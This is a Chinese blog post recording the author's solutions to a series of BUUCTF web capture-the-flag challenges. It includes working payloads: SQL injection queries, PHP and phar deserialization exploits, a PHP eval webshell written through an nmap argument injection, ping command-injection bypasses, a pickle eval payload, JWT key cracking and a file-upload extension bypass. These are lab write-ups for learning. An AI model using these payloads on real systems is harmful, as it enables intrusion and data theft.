BUUCTF刷题记录(2)

最新推荐文章于 2021-04-01 06:48:47 发布
最新推荐文章于 2021-04-01 06:48:47 发布
阅读量1.8k 收藏 2
点赞数
分类专栏： 刷题 文章标签： 安全 web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/bmth666/article/details/104884196
版权

文章目录

web

[De1CTF 2019]SSRF Me(未完成)

Hint：flag is in ./flag.txt
知识点不会，还是不照着wp写了

可参考文章：
[De1CTF 2019]SSRF Me
[De1CTF 2019]SSRF Me之愚见

[极客大挑战 2019]PHP

在这里插入图片描述
由于有备份文件，尝试www.zip发现可以下载！！！
在这里插入图片描述
得到flag.php文件，但发现Syc{dog_dog_dog_dog}并不是。。。。然后查看class.php得到

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

为php反序列化，有两个条件$this->password == 100和$this->username === 'admin'，为了得到序列化的结果，加入代码如下：

$a = new Name('admin',100);
$b=serialize($a);
echo $b;

得到：
在这里插入图片描述
由于是private，private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符)，所以我们要加%00或\0，满足个数为14，即
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
当反序列化字符串，表示属性个数的值大于真实属性个数时，会跳过 __wakeup 函数的执行。
所以改为：O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
由于在index.php看到：
在这里插入图片描述
那么传值即可得到flag
在这里插入图片描述

[极客大挑战 2019]Knife

真就是白给的shell，白给的题目
在这里插入图片描述
使用蚁剑链接，密码为Syc，即可在根目录下得到flag
在这里插入图片描述

[极客大挑战 2019]LoveSQL

万能密码登录admin' or 1=1#
在这里插入图片描述
得到了pass：9aa3f54e86651aa2d60aca2ffe2ff03b
在这里插入图片描述
发现没啥用，看url发现可以试试sql注入，并没有过滤。。。。。
?username=2&password=12' union select 1,2,3%23发现有三列
在这里插入图片描述
?username=2&password=12' union select 1,2,database()%23 得到数据库geek
在这里插入图片描述
?username=2&password=12' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23 得到geekuser,l0ve1ysq1
在这里插入图片描述
?username=2&password=12' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')%23 得到id,username,password
在这里插入图片描述
?username=2&password=12' union select 1,2,(select group_concat(id,0x3a,username,0x3a,password) from l0ve1ysq1)%23
在这里插入图片描述
查看源码即可得到flag

[RoarCTF 2019]Easy Java

账号admin，密码admin888可登录
在这里插入图片描述
并没有什么卵用，查看help，发现很像文件包含,看完wp回来了
在这里插入图片描述
有一个任意文件下载漏洞，将请求方式换为POST即可
在这里插入图片描述

WEB-INF主要包含一以下文件或目录:
/WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中
/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/：源码目录，按照包名结构放置各个java文件。
/WEB-INF/database.properties：数据库配置文件
漏洞检测以及利用方法：通过找到web.xml文件，推断class文件的路径，最后直接class文件，在通过反编译class文件，得到网站源码

首先下载并读取初始化配置信息/WEB-INF/web.xml
在这里插入图片描述
这个就是flag的路径，接下来用class读取出flag
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
在这里插入图片描述
有一个base64编码的内容，解码可得到flag
在这里插入图片描述

参考文章：[RoarCTF 2019]Easy Java

[极客大挑战 2019]Http

拿到题目第一件事情查看源码
在这里插入图片描述
访问得到提示：It doesn't come from 'https://www.Sycsecret.com'，使用Referer头
在这里插入图片描述
得到提示：Please use "Syclover" browser，修改UA头
在这里插入图片描述
得到提示：No!!! you can only read this locally!!!，使用XFF头
在这里插入图片描述
得到了flag

[0CTF 2016]piapiapia

看完wp，我这里首先下载了一个爆破目录的软件：渗透实战之目录爆破工具dirsearch
使用发现有www.zip文件，进行代码审计，接着下载了Seay源代码审计系统，下载链接：Seay源代码审计系统
在这里插入图片描述
得到几个可能存在的漏洞，接着查看文件发现在config.php看到了flag

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

在profile.php中有一个文件读取，而且是反序列化的内容

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

base64_encode(file_get_contents($profile['photo']));如果可以让photo变为config.php就可以得到flag了。
PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的，而且只要整个字符串的前一部分能够成功反序列化，这个字符串后面剩下的一部分将会被丢弃

$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);

在class.php可看到我们只有传入的字符串中有where关键字，被替换为hacker关键字，才会让长度加一，否则长度不变
数组绕过：

md5(Array()) = null
sha1(Array()) = null    
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(),"abc") = null
strlen(Array()) = null

首先在register.php注册一个账号，然后登陆到update.php
在这里插入图片描述
因为";}s:5:“photo”;s:10:“config.php”;}是34个字符。那么我们就传递34个where,即可绕过
在这里插入图片描述
有warning，但无关紧要，访问地址并查看源码得到一串base64加密的字符串，解密即可得到flag
在这里插入图片描述

参考：[0CTF 2016]piapiapia之愚见

[ZJCTF 2019]NiZhuanSiWei

给出了源码如下：

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

第一个绕过：

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

使用data伪协议，data协议通常是用来执行PHP代码，然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=，那串base64解码即为welcome to the zjctf
第二个绕过：

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

有file参数，但无法直接读取flag，使用filter来读useless.php的源码
file=php://filter/read=convert.base64-encode/resource=useless.php
在这里插入图片描述
第三个绕过：

$password = $_GET["password"];
include($file);  //useless.php
$password = unserialize($password);
echo $password;

为反序列化，构造需要的参数即可，在本地序列化

<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag();
$password = serialize($password);
echo $password; 
?>

在这里插入图片描述
运行得到序列化的结果：O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}，用password传参即可
在这里插入图片描述
查看源码得到flag
在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

打开很明显为命令执行，先执行ls
在这里插入图片描述
fuzz发现过滤了：空格 / + * ? { } ( ) [ ]等符号以及flag字符串，但=和$没有过滤,用$IFS$9过滤空格，a=fl;b=ag;$a$b过滤flag，无用！！
查看index.php
在这里插入图片描述
RCE读取PHP文件时，一定要从源代码看，因为PHP不能被解析!

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

最后试不出来，看wp，发现方法很多

1：a=ag.php;b=fl;cat$IFS$9$b$a
2：cat$IFS$9`ls`
3：echo$IFS$9Y2F0IGZsYWcucGhw=$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|sh
4：tar$IFS$9-cvf$IFS$9index$IFS$9. 打包目录下的所有文件为index，下载即可

最后要查看源代码得flag的
在这里插入图片描述

[BUUCTF 2018]Online Tool

打开获得源码：随后就去看了wp

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

发现不会的函数，查看php手册
在这里插入图片描述
即使参数用了 escapeshellarg 函数过滤单引号，但参数在拼接命令的时候用了双引号的话还是会导致命令执行的漏洞
在这里插入图片描述
在这里插入图片描述
对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符，对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义
在这里插入图片描述
题目先用escapeshellarg，后用escapeshellcmd，会造成漏洞如下：

  1. 传入参数：
    127.0.0.1' -v -d a=1
  2. 由于escapeshellarg先对单引号转义，再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下：
    '127.0.0.1'\'' -v -d a=1'
  3. 经过escapeshellcmd针对第二步处理之后的参数中的\以及a=1’中的单引号进行处理转义之后的效果如下所示：
    '127.0.0.1'\\'' -v -d a=1\'
    由于中间的\\被解释为\而不再是转义字符
  4. 所以这个payload可以简化为curl 127.0.0.1\ -v -d a=1'，即向127.0.0.1\发起请求，POST 数据为a=1’。

由于nmap有一个参数-oG可以实现将命令和结果写到文件

方法一：写一句话

?host='<?php @eval($_POST["pass"]); ?> -oG 1.php '
在这里插入图片描述
使用蚁剑，地址为：http://6945240f-3948-46b6-8a76-aa23b97ab20f.node3.buuoj.cn/620da91054ae45f37c80a6fd6b2d47df/1.php
即可得到flag
在这里插入图片描述

方法二：直接cat /flag

因为单引号被过滤了，我们使用反引号cat /flag

?host=' <?php echo `cat /flag`;?> -oG 1.php '

在这里插入图片描述
访问即可得到flag
在这里插入图片描述
注意最后一个’前有空格
参考：
谈谈escapeshellarg参数绕过和注入的问题
PHP escapeshellarg()+escapeshellcmd() 之殇
[BUUCTF 2018]Online Tool

[极客大挑战 2019]BabySQL

关键函数被过滤了，可以双写绕过
在这里插入图片描述
之后联合查询即可

[极客大挑战 2019]BuyFlag

在pay.php查看源码得到一串代码

~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

抓包看一下，修改代码可得
在这里插入图片描述
然后我们要money为100000000，但输入超过的值会返回太长，猜测判断是通过strcmp函数，可以构造数组
在这里插入图片描述
或者可以科学计数法来使价钱成立
在这里插入图片描述

[SUCTF 2019]Pythonginx

CVE-2019-9636：urlsplit不处理NFKC标准化
PTT：BlackHat2019
题目给出了源码：

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
   
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

前两个判断 host 是否是 suctf.cc ，如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数，在第三个判断中又必须要等于 suctf.cc 才行
Nginx的配置文件目录为：/usr/local/nginx/conf/nginx.conf

在网上找到了一个师傅的脚本，用来寻找可用字符：

# coding:utf-8 
for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass

在这里插入图片描述
构造payload：file://suctf.c℆sr/local/nginx/conf/nginx.conf
或者file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
在这里插入图片描述
读取flag：file://suctf.c℆sr/fffffflag即可

还看到有另一种解法，师傅的脚本：

from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse
url = "file:suctf.cc/usr/local/nginx/conf/nginx.conf"
parts = parse.urlsplit(url)
print(parts)

url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)

print(parts2)

payload：file:suctf.cc/usr/local/nginx/conf/nginx.conf
可参考：
王叹之：[SUCTF 2019]Pythonginx
昂首下楼梯：[SUCTF 2019]Pythonginx

[CISCN2019 华北赛区 Day1 Web1]Dropbox

首先注册登录，发现有一个上传文件，上传php,发现为白名单
在这里插入图片描述
抓包尝试，发现修改文件类型就会将后缀名也一起改了，例如上传1.php.php，修改Content-Type得
上传1.php.php
去看了wp。由于可以下载文件，那么我们抓包可实现任意文件下载
在这里插入图片描述
得到了几个常见文件的源码，在class.php得到关键信息：

<?php
#代码精简一下
class File {
    public $filename;

    public function close() {
        return file_get_contents($this->filename);
    }
}
class User {
    public $db;
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        #省略了一些影响阅读的table创建代码
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '</tr>';
        }
        echo $table;
    }
}
?>

File类中的close方法会获取文件内容，如果能触发该方法，就有可能获取flag。

User类中存在close方法，并且该方法在对象销毁时执行。

同时FileList类中存在call魔术方法，并且类没有close方法。如果一个Filelist对象调用了close()方法，根据call方法的代码可以知道，文件的close方法会被执行，就可能拿到flag。

运行如下PHP文件，生成一个phar文件，更改后缀名为png进行上传。

<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行时报错，要将php.ini中的phar.readonly选项设置为Off，并将前面的；去掉，否则无法生成phar文件
在这里插入图片描述
生成了phar.phar，改名为phar.png,上传并删除文件时抓包
在这里插入图片描述

参考：
ciscn2019华北赛区半决赛day1_web1题解
初探phar://

[CISCN2019 华北赛区 Day1 Web2]ikun

鬼才出题人，kunkun应援团可还行！！！！
先找信息，有一个关键的为：ikun们冲鸭,一定要买到lv6!!!
在这里插入图片描述
首先注册登录，然后去找lv6的账号，用python脚本跑

import requests
url="http://922b9ddf-ebc4-468b-9671-597b2908778a.node3.buuoj.cn/shop?page="

for i in range(0,2000):

	r=requests.get(url+str(i))
	if 'lv6.png' in r.text:
		print (i)
		break

得到在page=181有lv6的账号
在这里插入图片描述
发现买不起，但可以在前端修改折扣，师傅称：薅羊毛逻辑漏洞
在这里插入图片描述
进入发现要admin才能访问
在这里插入图片描述
看wp发现有为JWT漏洞：认识JWT
在这里插入图片描述
直接在网站jwt.io对JWT解密，要将username改为admin，需要key，这里要下载一个软件：c-jwt-cracker
在这里插入图片描述
安装openssl的标头。在Ubuntu上，可以使用apt-get install libssl-dev，然后make一下就可以使用了
在这里插入图片描述
得到1Kun，即可更改JWT了
在这里插入图片描述
成功使用admin进入，查看源代码发现有友军已经进入，得到源码
在这里插入图片描述
在admin.py发现有pickle反序列化
在这里插入图片描述
__reduce__()介绍：
reduce它要么返回一个代表全局名称的字符串，Pyhton会查找它并pickle，要么返回一个元组。
这个元组包含2到5个元素，其中包括：
一个可调用的对象，用于重建对象时调用；
一个参数元素，供那个可调用对象使用；
被传递给 setstate 的状态（可选）；一个产生被pickle的列表元素的迭代器（可选）；一个产生被pickle的字典元素的迭代器（可选）

使用师傅的脚本：

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

在这里插入图片描述
得到c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
最后点击一键大会员修改become的值
在这里插入图片描述
最后得到flag
在这里插入图片描述
参考：掘地三尺有神明：BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun
王叹之：[CISCN2019 华北赛区 Day1 Web2]ikun
W4nder：[CISCN2019 华北赛区 Day1 Web2]ikun

[极客大挑战 2019]Upload

做一个简单的上传。
某些情况下绕过后缀名检测：php,php3,php4,php5,phtml.pht
在这里插入图片描述
尝试了各种文件后，发现phtml可行，执行了php语句
在这里插入图片描述
蚁剑连接即可得到flag
在这里插入图片描述

菜鸡一枚，水平有限，本文仅为做题的记录方面以后查询，如有错误请指正，见谅

Bmth
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BUUCTF-web刷题记录-2
qq_45628145的博客
07-27 425
[极客大挑战 2019]HardSQL 一个登陆框，简单测试一下很多包括union等字符被过滤了，这里这样构造可以成功登录，但是没有flag，所以是要把flag从数据库读出来了 admin'Or(1)# 1 发现^没有被过滤，可以用来代替and，与extractvalue函数结合来尝试进行报错注入 这个函数在这里的大致用法是这样的，extractvalue(null,concat(0x7e,user(),0x7e))，中间的user()即为你想执行的查询语句 接下来这题就是爆库，爆表，爆字段，爆内容的基本
CTFHUB Web前置技能 题解记录（HTTP部分）
豆傻小饼干随记
03-19 4255
Web前置技能 一、HTTP协议 1、基础认证 在HTTP中，基本认证（英语：Basic access authentication）是允许http用户代理（如：网页浏览器）在请求时，提供`用户名` 和`密码`的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证 直接上脚本 #!/usr/bin/python # -*- ...
CTF基础知识——HTTP/1.1 请求方法
fatmoForE
01-28 5036
HTTP请求的方法： HTTP/1.1协议中共定义了八种方法（有时也叫“动作”），来表明Request-URL指定的资源不同的操作方式 HTTP1.0定义了三种请求方法： GET, POST 和 HEAD方法。 HTTP1.1新增了五种请求方法：OPTIONS, PUT, DELETE, TRACE 和 CONNECT 方法 1、OPTIONS 返回服务器针对特定资源所支持的HTTP请求方法，也可以利用向web服务器发送‘*’的请求来测试服务器的功能性 2、HEAD 向服务器索与GET请求相一致的响应，只.
拍片哥 php,从CTF中学习PHP反序列化的各种利用方式
weixin_34589862的博客
03-12 660
前言出于对php反序列漏洞感兴趣, 遂写一文总结一下在学习PHP反序列化的漏洞过程中遇到的点, 在CTF中有关的漏洞形式几乎是必出__wakeup()对应的CVE编号: CVE-2016-7124存在漏洞的PHP版本: PHP5.6.25之前版本和7.0.10之前的7.x版本漏洞概述: __wakeup()魔法函数被绕过,导致执行了一些非预期效果的漏洞漏洞原理: 当对象的属性(变量)数大于实际的个...
BUUCTF：[极客大挑战 2019]Knife
末初的CSDN博客
10-20 645
题目地址：https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Knife 蚁剑连接，根目录发现flag
BUUCTF逆向前八题
01-24
内容为BUUCTF里reserve的前八题自己的一些解题思路
BasicASM.s（BUUCTF）
06-04
分析过程文件
BUUCTF题目（含工具），你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分
04-09
BUUCTF题目（含工具），你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分
【BUUCTF】MISC zip
01-20
import zipfile import string import binascii def CrackCrc(crc): for i in dic: for j in dic: for p in dic: for q in dic: s = i + j + p + q if crc == (binascii.crc32(s.encode())): ...
BUUCTF部分web题目
最新发布
05-06
写题记录
BUUCTF—WEB-WarmUp
热门推荐
迷风小白
06-25 1万+
拿到题目，一个表情包，顺便扫一下目录
BUUCTF-web Knife[极客大挑战]wp
想喝奶茶的胖大海
03-16 1038
观察 网页名为 白给的shell 网页也提示Syc 尝试使用蚁剑连接 http://aa314dec-cd75-404d-89e8-0b6199329805.node3.buuoj.cn//?Knife.php 直接在var文件下找到flag
BUUCTF平台web writeup
a370793934的专栏
11-28 1502
[HCTF 2018]WarmUp 首先f12查看源码，发现一个hint： 于是访问source.php，得到审计的源代码： <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) /* ...
php get请求_ctf中关于php伪协议的考查
weixin_39928003的博客
11-30 495
原创：Archerx 合天智汇1php://input协议第一个例子flag.php<?php$flag = 'flag{flag_is_here}'; test1.php<?phpinclude('flag.php');$a= $_GET["a"];if(isset($a)&&(file_get_contents($a,'r'))=== 'this is tes...
ctf题php反序列化,从一道CTF题中学习php反序列化与伪协议
weixin_39927214的博客
04-01 1777
之前一直有想写关于反序列化的东西，可是一直拖拖拖，拖到了现在。本文尝试从ZJCTF2019中的例题来了解何为php反序列，以及php伪协议。原题：逆转思维1234567891011121314151617181920$text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&am...
2019DDCTF 部分Writeup
观樂。的博客
04-19 1956
2019DDCTF 部分Writeup 太菜了，就只做了四道题，而且其中不乏大佬们的提示，这里就记录下做了的题… Web 滴~ 题目地址：http://117.51.150.246 打开后题目跳转到这个地址：http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 界面显示如下图： 然后看传入的jpg的值是bas...
ctfshow web入门命令执行部分（更新至56）
L1ni01
10-16 3087
ctfshow web 入门 命令执行部分 web29 源码 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } payload：c=system('cat f*'); 匹配任何字符串／文本，包括空字符串；
BUUCTF刷题记录(6)
bmth666的博客
05-14 5283
文章目录web[FBCTF2019]RCEService web 打ctf(×) 被ctf打(√) [FBCTF2019]RCEService 首先查看文件夹文件，{"cmd":"ls"} 然后输入其他的发现被ban了，看wp得源码 <?php putenv('PATH=/home/rceservice/jail'); if (isset($_REQUEST['cmd'])) { ...
BUUCTF：[SUCTF 2018]GetShell
末初的CSDN博客
08-01 1803
题目地址：https://buuoj.cn/challenges#[SUCTF%202018]GetShell if($contents=file_get_contents($_FILES["file"]["tmp_name"])){ $data=substr($contents,5); foreach ($black_char as $b) { if (stripos($data, $b) !== false){ die("illegal cha
buuctf crypto rsa2
03-16
buuctf crypto rsa2 是一个密码学竞赛中的一道 RSA 加密题目。RSA 是一种非对称加密算法，常用于保护数据的安全性。在这道题目中，参赛者需要破解 RSA 加密的密文，以获取明文信息。这需要对 RSA 算法的原理和实现有深入的理解和掌握。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值